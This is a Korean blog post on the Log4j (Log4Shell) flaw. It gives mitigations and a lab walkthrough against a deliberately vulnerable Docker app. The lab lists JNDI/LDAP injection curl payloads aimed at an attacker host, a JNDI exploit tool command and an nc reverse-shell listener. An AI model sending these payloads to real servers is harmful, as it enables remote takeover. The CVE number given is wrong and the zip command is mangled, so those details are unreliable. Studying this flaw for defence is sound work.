이번 포스팅 글은 최근 이슈가 존재하는 로그 포 제이(Log4j) 취약점에 대한 내용을 작성한다.
#Log4j 란?
log4j는 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티이다.
이번 로깅 프레임워크인 Log4j에서 발견된 원격 코드 실행 취약점(CVE-2021-4422)는 Log4j를 사용하는 모든 애플리케이션에서 임의의 원격 코드를 실행할 수 있는 취약점으로 실제 서버나 PC 관리자 권한을 탈취할 수 있다.
#CVE-2021-4422 취약점 대응방안해당 취약점의 대응방안은 보안 조치가 완료된 최신버전으로 업데이트가 필요하나 업데이트 즉시 조치가 어려운 경우 아래와 같은 차선대응법으로 조치를 진행해야 한다.
1. Log4j 2.15 최신버전 업데이트
- https://logging.apache.org/log4j/2.x/download.html
2. Log4j 2.0-beta 9 ~ 2.10.0 version
- JudLookup 클래스 경로(zip -q -d log4j-core-*.jarorg/apache/logging/log4j/core/lookup/JndiLookup.class) 제거
3. Log4j 2.10 - 2.14.1 version
- Log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경 변수 값 true 로 설정
4. 취약점 동작원리
동작방식으로는 log4에서 내부 LDAP 서버 등에 접속 후 변환하는 기능을 제공하는 부분에 있는데 이 부분에서 취약점이 발생한 것이다.
예시로 아래와 같은 로깅을 서버에서 남긴다고 가정한다면 악의적인 사용자는 Request 패킷을 전송함으로써 해커의 LDAP 서버에서 악성파일을 다운로드 받는 등 추가 공격을 통해 서버 탈취가 가능하다.
* logger.info("Request User Agent:{}", request.getHeader("user-agent"));
#CVE-2021-4422 Test
환경구성
[victim]
Docker
log4shell-vulnerable-app
[attacker]
Kali
JNDI Exploit
[Victim]
1. Log4j 취약 서비스 셋팅
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
[Attacker]
1. Log4j Attack Test
curl {TARGET} -H 'X-Api-Version: ${jndi:ldap://attacker_domain}'
2. JNDI Exploit Exec
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
3. Reverse Shell
nc -lvvp 8888
4. Victim Server Attack
curl http://victim:8080 -H 'X-Api-Version: ${jndi:ldap://attacker:1389/cmd}'
5. 원격명령어 실행 확인
#참고자료
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/users/christophetd/packages/container/package/log4shell-vulnerable-app
'모의해킹' 카테고리의 다른 글
HTTP Request Smuggling 취약점 (0) | 2022.01.10 |
---|---|
[Chrome] Password Decrypt (0) | 2022.01.07 |
Ngrok 플랫폼 사용 후기 (0) | 2021.12.22 |